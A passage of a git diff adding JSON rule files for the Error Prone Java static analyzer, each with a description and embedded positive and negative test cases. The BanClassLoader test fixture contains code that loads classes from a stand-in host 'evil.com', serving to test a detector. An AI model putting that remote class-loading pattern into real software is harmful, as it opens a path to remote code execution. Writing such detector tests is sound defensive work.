Builder<>();\n }\n\n Builder returnRaw() {\n return new Builder();\n }\n\n void classLiteral() {\n System.out.println(Builder.class);\n }\n}\n\n\npackage com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.collect.ImmutableList;\nimport org.jspecify.annotations.Nullable;\n\n/**\n * Tests for {@link BadImport}.\n *\n * @author awturner@google.com (Andy Turner)\n */\nclass BadImportPositiveCases {\n public void variableDeclarations() {\n ImmutableList.Builder qualified;\n ImmutableList.Builder raw;\n }\n\n public void variableDeclarationsNestedGenerics() {\n ImmutableList.Builder> builder1;\n ImmutableList.Builder builder1Raw;\n ImmutableList.Builder> builder2;\n ImmutableList.Builder builder2Raw;\n }\n\n ImmutableList.@Nullable Builder>\n parameterizedWithTypeUseAnnotationMethod() {\n return null;\n }\n\n public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() {\n\n ImmutableList.@Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1;\n\n ImmutableList.@Nullable Builder>\n parameterizedWithTypeUseAnnotation2;\n }\n\n public void newClass() {\n new ImmutableList.Builder();\n new ImmutableList.Builder>();\n }\n\n ImmutableList.Builder returnGenericExplicit() {\n return new ImmutableList.Builder();\n }\n\n ImmutableList.Builder returnGenericDiamond() {\n return new ImmutableList.Builder<>();\n }\n\n ImmutableList.Builder returnRaw() {\n return new ImmutableList.Builder();\n }\n\n void classLiteral() {\n System.out.println(ImmutableList.Builder.class);\n }\n}\\" + }, + { + "description": "nestedTypeUseAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 509 + ], + "code": "package test;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE})\n @interface TypeUseAnnotation {}\n \n\n package test;\n\n class SomeClass {\n static class Builder {}\n }\n \n\n package test;\n\n import java.util.List;\n import test.SomeClass.Builder;\n\n abstract class Test {\n @TypeUseAnnotation Builder builder;\n\n @TypeUseAnnotation\n abstract Builder method1();\n\n abstract @TypeUseAnnotation Builder method2();\n\n abstract void method3(@TypeUseAnnotation Builder builder);\n\n abstract void method4(List<@TypeUseAnnotation Builder> builder);\n }\n \n\n package test;\n\n import java.util.List;\n\n abstract class Test {\n SomeClass.@TypeUseAnnotation Builder builder;\n\n abstract SomeClass.@TypeUseAnnotation Builder method1();\n\n abstract SomeClass.@TypeUseAnnotation Builder method2();\n\n abstract void method3(SomeClass.@TypeUseAnnotation Builder builder);\n\n abstract void method4(List builder);\n }" + }, + { + "description": "negative_truth8AssertThatFalseFlag", + "expected-problems": null, + "expected-linenumbers": [ + 577 + ], + "code": "import static com.google.common.truth.Truth8.assertThat;\n import java.util.stream.IntStream;\n\n class Test {\n void x(IntStream s) {\n assertThat(s).isEmpty();\n }\n }" + }, + { + "description": "negative_otherAssertThat", + "expected-problems": null, + "expected-linenumbers": [ + 596 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n class Test {\n void x(Iterable i) {\n assertThat(i).isEmpty();\n }\n }" + }, + { + "description": "suppressed_class", + "expected-problems": null, + "expected-linenumbers": [ + 613 + ], + "code": "import static com.google.common.collect.ImmutableList.of;\n import com.google.common.collect.ImmutableList;\n\n @SuppressWarnings(\"BadImport\")\n class Test {\n ImmutableList list = of();\n ImmutableList list2 = of();\n }" + }, + { + "description": "suppressed_field", + "expected-problems": null, + "expected-linenumbers": [ + 631 + ], + "code": "import static com.google.common.collect.ImmutableList.of;\n import com.google.common.collect.ImmutableList;\n\n class Test {\n @SuppressWarnings(\"BadImport\")\n ImmutableList list = of();\n\n // BUG: Diagnostic contains: ImmutableList.of()\n ImmutableList list2 = of();\n }" + }, + { + "description": "suppressed_method", + "expected-problems": null, + "expected-linenumbers": [ + 651 + ], + "code": "import static com.google.common.collect.ImmutableList.of;\n import com.google.common.collect.ImmutableList;\n\n class Test {\n @SuppressWarnings(\"BadImport\")\n void foo() {\n ImmutableList list = of();\n }\n\n void bar() {\n // BUG: Diagnostic contains: ImmutableList.of()\n ImmutableList list2 = of();\n }\n }" + }, + { + "description": "enumWithinSameCompilationUnitImported_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 675 + ], + "code": "package pkg;\n\n import pkg.Test.Type;\n\n class Test {\n enum Type {\n A,\n B;\n }\n }" + }, + { + "description": "enumWithinDifferentCompilationUnitImported_finding", + "expected-problems": null, + "expected-linenumbers": [ + 695 + ], + "code": "package a;\n\n public enum E {\n INSTANCE;\n }\n \n\n package pkg;\n\n import static a.E.INSTANCE;\n\n class Test {\n Object e = INSTANCE;\n }\n \n\n package pkg;\n\n import static a.E.INSTANCE;\n import a.E;\n\n class Test {\n Object e = E.INSTANCE;\n }" + }, + { + "description": "doesNotMatchProtos", + "expected-problems": null, + "expected-linenumbers": [ + 734 + ], + "code": "package pkg;\n\n import com.google.protobuf.MessageLite;\n\n public class ProtoOuterClass {\n public abstract static class Provider implements MessageLite {}\n }\n \n\n import pkg.ProtoOuterClass.Provider;\n\n class Test {\n public void test(Provider p) {}\n }" + }, + { + "description": "badEnclosingTypes", + "expected-problems": null, + "expected-linenumbers": [ + 760 + ], + "code": "package org.immutables.value;\n\n public @interface Value {\n @interface Immutable {}\n }\n \n\n import org.immutables.value.Value.Immutable;\n\n @Immutable\n interface Test {}\n \n\n import org.immutables.value.Value;\n\n @Value.Immutable\n interface Test {}" + }, + { + "description": "badEnclosingTypes_doesNotMatchFullyQualifiedName", + "expected-problems": null, + "expected-linenumbers": [ + 793 + ], + "code": "package org.immutables.value;\n\n public @interface Value {\n @interface Immutable {}\n }\n \n\n @org.immutables.value.Value.Immutable\n interface Test {}" + }, + { + "description": "badEnclosingTypes_staticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 815 + ], + "code": "import static com.google.common.collect.ImmutableList.toImmutableList;\n import com.google.common.collect.ImmutableList;\n import java.util.stream.Collector;\n\n class Test {\n // BUG: Diagnostic contains: ImmutableList.toImmutableList()\n Collector> immutableList = toImmutableList();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadInstanceof.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadInstanceof.json new file mode 100644 index 0000000..7b3660d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadInstanceof.json @@ -0,0 +1,38 @@ +{ + "name": "BadInstanceof", + "language": "java", + "description": "instanceof used in a way that is equivalent to a null check.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class A {\n boolean foo(C c) {\n return c instanceof A;\n }\n\n boolean notFoo(C c) {\n return !(c instanceof A);\n }\n\n static class C extends A {}\n }\n \n\n class A {\n boolean foo(C c) {\n return c != null;\n }\n\n boolean notFoo(C c) {\n return c == null;\n }\n\n static class C extends A {}\n }" + }, + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "class A {\n // BUG: Diagnostic contains: `new C()` is a non-null instance of C which is a subtype of A\n boolean t = new C() instanceof A;\n\n boolean foo(C c) {\n // BUG: Diagnostic contains: `c` is an instance of C which is a subtype of A\n return c instanceof A;\n }\n\n boolean notFoo(C c) {\n // BUG: Diagnostic contains: `c` is an instance of C which is a subtype of A\n return !(c instanceof A);\n }\n}\n\nclass C extends A {}" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class A {\n boolean foo(A a) {\n return a instanceof C;\n }\n }\n\n class C extends A {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadShiftAmount.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadShiftAmount.json new file mode 100644 index 0000000..6578d07 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadShiftAmount.json @@ -0,0 +1,30 @@ +{ + "name": "BadShiftAmount", + "language": "java", + "description": "Shift by an amount that is out of range", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author Bill Pugh (bill.pugh@gmail.com)\n */\n public class BadShiftAmountPositiveCases {\n\n public void foo() {\n int x = 0;\n long result = 0;\n\n // BUG: Diagnostic contains: (long) x >> 32\n result += x >> 32;\n // BUG: Diagnostic contains: (long) x << 32\n result += x << 32;\n // BUG: Diagnostic contains: (long) x >>> 32\n result += x >>> 32;\n // BUG: Diagnostic contains: (long) x >> 40\n result += x >> 40;\n // BUG: Diagnostic contains: (long) (x & 255) >> 40\n result += (x & 255) >> 40;\n\n // BUG: Diagnostic contains: 1L << 48\n result += 1 << 48;\n\n // BUG: Diagnostic contains: x >> 4\n result += x >> 100;\n // BUG: Diagnostic contains: x >> 31\n result += x >> -1;\n\n byte b = 0;\n char c = 'a';\n\n // BUG: Diagnostic contains: (long) b >> 32\n result += b >> 32;\n // BUG: Diagnostic contains: (long) b << 32\n result += b << 32;\n // BUG: Diagnostic contains: (long) c >> 32\n result += c >> 32;\n // BUG: Diagnostic contains: (long) c >>> 32\n result += c >>> 32;\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author Bill Pugh (bill.pugh@gmail.com)\n */\n public class BadShiftAmountNegativeCases {\n\n public void foo() {\n int x = 0;\n long result = 0;\n\n result += (long) x >> 3;\n result += x << 3;\n result += x >>> 3;\n result += (long) (x & 0xff) >> 40;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanClassLoader.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanClassLoader.json new file mode 100644 index 0000000..8937f93 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanClassLoader.json @@ -0,0 +1,30 @@ +{ + "name": "BanClassLoader", + "language": "java", + "description": "Using dangerous ClassLoader APIs may deserialize untrusted user input into bytecode, leading to remote code execution vulnerabilities", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static java.rmi.server.RMIClassLoader.loadClass;\n\nimport java.lang.invoke.MethodHandles;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.net.URLClassLoader;\n\nclass BanClassLoaderPositiveCases {\n /** Override loadClass with an insecure implementation. */\n // BUG: Diagnostic contains: BanClassLoader\n class InsecureClassLoader extends URLClassLoader {\n public InsecureClassLoader() {\n super(new URL[0]);\n }\n\n @Override\n protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException {\n try {\n addURL(new URL(\"jar:https://evil.com/bad.jar\"));\n } catch (MalformedURLException e) {\n }\n return findClass(name);\n }\n }\n\n /** Calling static methods in java.rmi.server.RMIClassLoader. */\n public static final Class loadRMI() throws ClassNotFoundException, MalformedURLException {\n // BUG: Diagnostic contains: BanClassLoader\n return loadClass(\"evil.com\", \"BadClass\");\n }\n\n /** Calling constructor of java.net.URLClassLoader. */\n public ClassLoader loadFromURL() throws MalformedURLException {\n // BUG: Diagnostic contains: BanClassLoader\n URLClassLoader loader = new URLClassLoader(new URL[] {new URL(\"jar:https://evil.com/bad.jar\")});\n return loader;\n }\n\n /** Calling methods of nested class. */\n public static final Class methodHandlesDefineClass(byte[] bytes)\n throws IllegalAccessException {\n // BUG: Diagnostic contains: BanClassLoader\n return MethodHandles.lookup().defineClass(bytes);\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.net.URL;\nimport java.net.URLClassLoader;\nimport java.security.SecureClassLoader;\n\nclass BanClassLoaderPositiveCases {\n /** OK to extend SecureClassLoader */\n class AnotherSecureClassLoader extends SecureClassLoader {}\n\n /** OK to call loadClass if it's not on RMIClassLoader */\n public final Class overrideClassLoader() throws ClassNotFoundException {\n SecureClassLoader loader = new AnotherSecureClassLoader();\n return loader.loadClass(\"BadClass\");\n }\n\n /** OK to define loadClass */\n private class NotClassLoader {\n protected void loadClass() {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanJNDI.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanJNDI.json new file mode 100644 index 0000000..747c75a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanJNDI.json @@ -0,0 +1,38 @@ +{ + "name": "BanJNDI", + "language": "java", + "description": "Using JNDI may deserialize user input via the `Serializable` API which is extremely dangerous", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.io.IOException;\nimport java.util.Hashtable;\nimport javax.management.remote.JMXConnector;\nimport javax.management.remote.JMXConnectorFactory;\nimport javax.management.remote.JMXServiceURL;\nimport javax.management.remote.rmi.RMIConnector;\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.naming.Name;\nimport javax.naming.NamingException;\nimport javax.naming.directory.Attributes;\nimport javax.naming.directory.DirContext;\nimport javax.sql.rowset.spi.SyncFactory;\nimport javax.sql.rowset.spi.SyncFactoryException;\n\n/**\n * {@link BanJNDITest}\n *\n * @author tshadwell@google.com (Thomas Shadwell)\n */\nclass BanJNDIPositiveCases {\n private static DirContext FakeDirContext = ((DirContext) new Object());\n\n private void callsModifyAttributes() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.modifyAttributes(((Name) new Object()), 0, ((Attributes) new Object()));\n }\n\n private void callsGetAttributes() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.getAttributes(((Name) new Object()));\n }\n\n private void callsSearch() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.search(((Name) new Object()), ((Attributes) new Object()));\n }\n\n private void callsGetSchema() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.getSchema(((Name) new Object()));\n }\n\n private void callsGetSchemaClassDefinition() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.getSchemaClassDefinition(((Name) new Object()));\n }\n\n private static Context FakeContext = ((Context) new Object());\n\n private void callsLookup() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeContext.lookup(\"hello\");\n }\n\n private void callsSubclassLookup() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.lookup(\"hello\");\n }\n\n private void callsBind() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeContext.bind(((Name) new Object()), new Object());\n }\n\n private void subclassCallsBind() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.bind(((Name) new Object()), new Object());\n }\n\n private void callsRebind() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeContext.rebind(((Name) new Object()), new Object());\n }\n\n private void subclassCallsRebind() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.rebind(((Name) new Object()), new Object());\n }\n\n private void callsCreateSubcontext() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeContext.createSubcontext((Name) new Object());\n }\n\n private void subclassCallsCreateSubcontext() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n FakeDirContext.createSubcontext((Name) new Object());\n }\n\n RMIConnector fakeRMIConnector = ((RMIConnector) new Object());\n\n private void callsRMIConnect() throws IOException {\n // BUG: Diagnostic contains: BanJNDI\n fakeRMIConnector.connect();\n }\n\n private void callsEnumerateBindings() throws SyncFactoryException {\n // BUG: Diagnostic contains: BanJNDI\n SyncFactory.getInstance(\"fear is the little-death\");\n }\n\n // unable to load javax.jdo for testing (must be some super optional pkg?)\n\n private void callsJMXConnectorFactoryConnect() throws IOException {\n // BUG: Diagnostic contains: BanJNDI\n JMXConnectorFactory.connect(((JMXServiceURL) new Object()));\n }\n\n private void callsDoLookup() throws NamingException {\n // BUG: Diagnostic contains: BanJNDI\n InitialContext.doLookup(((Name) new Object()));\n }\n\n private static boolean callToJMXConnectorFactoryConnect()\n throws java.net.MalformedURLException, java.io.IOException {\n JMXConnector connector =\n // BUG: Diagnostic contains: BanJNDI\n JMXConnectorFactory.connect(\n new JMXServiceURL(\"service:jmx:rmi:///jndi/rmi:// fake data 123 \"));\n connector.connect();\n\n return false;\n }\n\n private Object subclassesJavaNamingcontext() throws NamingException {\n InitialContext c = new InitialContext(new Hashtable(0));\n // BUG: Diagnostic contains: BanJNDI\n return c.lookup(\"hello\");\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport javax.naming.Name;\nimport javax.naming.NamingException;\nimport javax.naming.directory.DirContext;\n\n/**\n * {@link BanJNDITest}\n *\n * @author tshadwell@google.com (Thomas Shadwell)\n */\nclass BanJNDIPositiveCases {\n private static DirContext FakeDirContext = ((DirContext) new Object());\n\n // Check we didn't ban all of Context by accident.\n private void callsList() throws NamingException {\n FakeDirContext.list(((Name) new Object()));\n }\n}" + }, + { + "description": "negativeCaseUnchanged", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport javax.naming.Name;\nimport javax.naming.NamingException;\nimport javax.naming.directory.DirContext;\n\n/**\n * {@link BanJNDITest}\n *\n * @author tshadwell@google.com (Thomas Shadwell)\n */\nclass BanJNDIPositiveCases {\n private static DirContext FakeDirContext = ((DirContext) new Object());\n\n // Check we didn't ban all of Context by accident.\n private void callsList() throws NamingException {\n FakeDirContext.list(((Name) new Object()));\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanSerializableRead.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanSerializableRead.json new file mode 100644 index 0000000..c8c995d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanSerializableRead.json @@ -0,0 +1,38 @@ +{ + "name": "BanSerializableRead", + "language": "java", + "description": "Deserializing user input via the `Serializable` API is extremely dangerous", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "" + }, + { + "description": "negativeCaseUnchanged", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BareDotMetacharacter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BareDotMetacharacter.json new file mode 100644 index 0000000..e171c59 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BareDotMetacharacter.json @@ -0,0 +1,22 @@ +{ + "name": "BareDotMetacharacter", + "language": "java", + "description": "\\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.base.Splitter;\n\n class Test {\n private static final String DOT = \".\";\n Object x = \"foo.bar\".split(\".\");\n Object y = \"foo.bonk\".split(DOT);\n Object z = Splitter.onPattern(\".\");\n }\n \n\n import com.google.common.base.Splitter;\n\n class Test {\n private static final String DOT = \".\";\n Object x = \"foo.bar\".split(\"\\\\\\\\.\");\n Object y = \"foo.bonk\".split(\"\\\\\\\\.\");\n Object z = Splitter.onPattern(\"\\\\\\\\.\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalEquals.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalEquals.json new file mode 100644 index 0000000..cec377d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalEquals.json @@ -0,0 +1,30 @@ +{ + "name": "BigDecimalEquals", + "language": "java", + "description": "BigDecimal#equals has surprising behavior: it also compares scale.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.base.Objects;\n import java.math.BigDecimal;\n\n class Test {\n void test(BigDecimal a, BigDecimal b) {\n // BUG: Diagnostic contains:\n boolean foo = a.equals(b);\n // BUG: Diagnostic contains:\n boolean bar = !a.equals(b);\n // BUG: Diagnostic contains:\n boolean baz = Objects.equal(a, b);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import java.math.BigDecimal;\n\n class Test {\n BigDecimal a;\n BigDecimal b;\n\n boolean f(String a, String b) {\n return a.equals(b);\n }\n\n @Override\n public boolean equals(Object o) {\n return a.equals(b);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalLiteralDouble.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalLiteralDouble.json new file mode 100644 index 0000000..34d8dac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalLiteralDouble.json @@ -0,0 +1,30 @@ +{ + "name": "BigDecimalLiteralDouble", + "language": "java", + "description": "new BigDecimal(double) loses precision in this case.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 11, + "apis": 8, + "test": [ + { + "description": "exactlyRepresentable", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "import java.math.BigDecimal;\n\n class Test {\n void test() {\n new BigDecimal(\"99\");\n new BigDecimal(\"99.0\");\n new BigDecimal(123_459);\n new BigDecimal(123_456L);\n BigDecimal.valueOf(123);\n BigDecimal.valueOf(123L);\n }\n }" + }, + { + "description": "losesPrecision", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import java.math.BigDecimal;\n\n class Test {\n void test() {\n // BUG: Diagnostic matches: A\n new BigDecimal(-0.012);\n // BUG: Diagnostic matches: B\n new BigDecimal(0.1f);\n // BUG: Diagnostic matches: C\n new BigDecimal(0.99);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanLiteral.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanLiteral.json new file mode 100644 index 0000000..e2e3ed5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanLiteral.json @@ -0,0 +1,70 @@ +{ + "name": "BooleanLiteral", + "language": "java", + "description": "This expression can be written more clearly with a boolean literal.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class Test {\n void f() {\n System.err.println(Boolean.TRUE.toString());\n System.err.println(Boolean.FALSE.toString());\n System.err.println(Boolean.TRUE.booleanValue());\n System.err.println(Boolean.FALSE.booleanValue());\n System.err.println(Boolean.TRUE);\n System.err.println(Boolean.FALSE);\n }\n }\n \n\n class Test {\n void f() {\n System.err.println(\"true\");\n System.err.println(\"false\");\n System.err.println(true);\n System.err.println(false);\n System.err.println(true);\n System.err.println(false);\n }\n }" + }, + { + "description": "methodRef", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n void f() {\n Predicate p = Boolean.TRUE::equals;\n }\n }" + }, + { + "description": "moduleInfo", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "module foo {\n requires java.base;\n }" + }, + { + "description": "objectDoubleEqualsBooleanLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "class Test {\n boolean objectDoubleEqualsBooleanTrue(Object o) {\n return o == Boolean.TRUE;\n }\n\n boolean objectDoubleEqualsBooleanFalse(Object o) {\n return o == Boolean.FALSE;\n }\n\n boolean booleanTrueDoubleEqualsObject(Object o) {\n return Boolean.TRUE == o;\n }\n\n boolean booleanFalseDoubleEqualsObject(Object o) {\n return Boolean.FALSE == o;\n }\n }" + }, + { + "description": "primitiveBooleanDoubleEqualsBooleanLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "class Test {\n boolean booleanDoubleEqualsBooleanTrue(boolean b) {\n return b == Boolean.TRUE;\n }\n\n boolean booleanDoubleEqualsBooleanFalse(boolean b) {\n return b == Boolean.FALSE;\n }\n\n boolean booleanTrueDoubleEqualsBoolean(boolean b) {\n return Boolean.TRUE == b;\n }\n\n boolean booleanFalseDoubleEqualsBoolean(boolean b) {\n return Boolean.FALSE == b;\n }\n }\n \n\n class Test {\n boolean booleanDoubleEqualsBooleanTrue(boolean b) {\n return b == true;\n }\n\n boolean booleanDoubleEqualsBooleanFalse(boolean b) {\n return b == false;\n }\n\n boolean booleanTrueDoubleEqualsBoolean(boolean b) {\n return true == b;\n }\n\n boolean booleanFalseDoubleEqualsBoolean(boolean b) {\n return false == b;\n }\n }" + }, + { + "description": "boxedBooleanDoubleEqualsBooleanLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 171 + ], + "code": "class Test {\n boolean booleanDoubleEqualsBooleanTrue(Boolean b) {\n return b == Boolean.TRUE;\n }\n\n boolean booleanDoubleEqualsBooleanFalse(Boolean b) {\n return b == Boolean.FALSE;\n }\n\n boolean booleanTrueDoubleEqualsBoolean(Boolean b) {\n return Boolean.TRUE == b;\n }\n\n boolean booleanFalseDoubleEqualsBoolean(Boolean b) {\n return Boolean.FALSE == b;\n }\n }" + }, + { + "description": "boxedResult", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "class Test {\n Boolean f() {\n Boolean foo = null;\n Boolean b = true ? foo : Boolean.TRUE;\n return b;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanParameter.json new file mode 100644 index 0000000..59dbe78 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanParameter.json @@ -0,0 +1,38 @@ +{ + "name": "BooleanParameter", + "language": "java", + "description": "Use parameter comments to document ambiguous literals", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 137, + "branches": 15, + "apis": 1, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n Test(boolean foo) {}\n\n void f(boolean foo) {}\n\n void f(boolean foo, boolean bar) {}\n\n void f_boxed(Boolean foo, Boolean bar) {}\n\n void g(boolean p, boolean q) {}\n\n void h(boolean arg0, boolean arg1) {}\n\n {\n f(/* foo= */ true);\n f(false); // one arg\n f(/* foo= */ true, false);\n f(false, false);\n f_boxed(false, false);\n g(false, false); // single-char\n h(false, false); // synthetic\n new Test(false);\n }\n }\n \n\n class Test {\n Test(boolean foo) {}\n\n void f(boolean foo) {}\n\n void f(boolean foo, boolean bar) {}\n\n void f_boxed(Boolean foo, Boolean bar) {}\n\n void g(boolean p, boolean q) {}\n\n void h(boolean arg0, boolean arg1) {}\n\n {\n f(/* foo= */ true);\n f(false); // one arg\n f(/* foo= */ true, /* bar= */ false);\n f(/* foo= */ false, /* bar= */ false);\n f_boxed(/* foo= */ false, /* bar= */ false);\n g(false, false); // single-char\n h(false, false); // synthetic\n new Test(/* foo= */ false);\n }\n }" + }, + { + "description": "dontRefactorNonBooleanParameters", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "class Test {\n private static class Generic {\n private void doIt(T first, T second, T third) {}\n }\n\n void f(Object foo, Object bar) {}\n\n {\n Generic myGeneric = new Generic<>();\n myGeneric.doIt(false, false, false);\n f(false, false);\n }\n }" + }, + { + "description": "considerAtomicBooleanSelfDocumenting", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "import java.util.concurrent.atomic.AtomicBoolean;\n\n class Test {\n private static final AtomicBoolean b = new AtomicBoolean(false);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveConstructor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveConstructor.json new file mode 100644 index 0000000..bf2b680 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveConstructor.json @@ -0,0 +1,110 @@ +{ + "name": "BoxedPrimitiveConstructor", + "language": "java", + "description": "valueOf or autoboxing provides better time and space performance", + "example": null, + 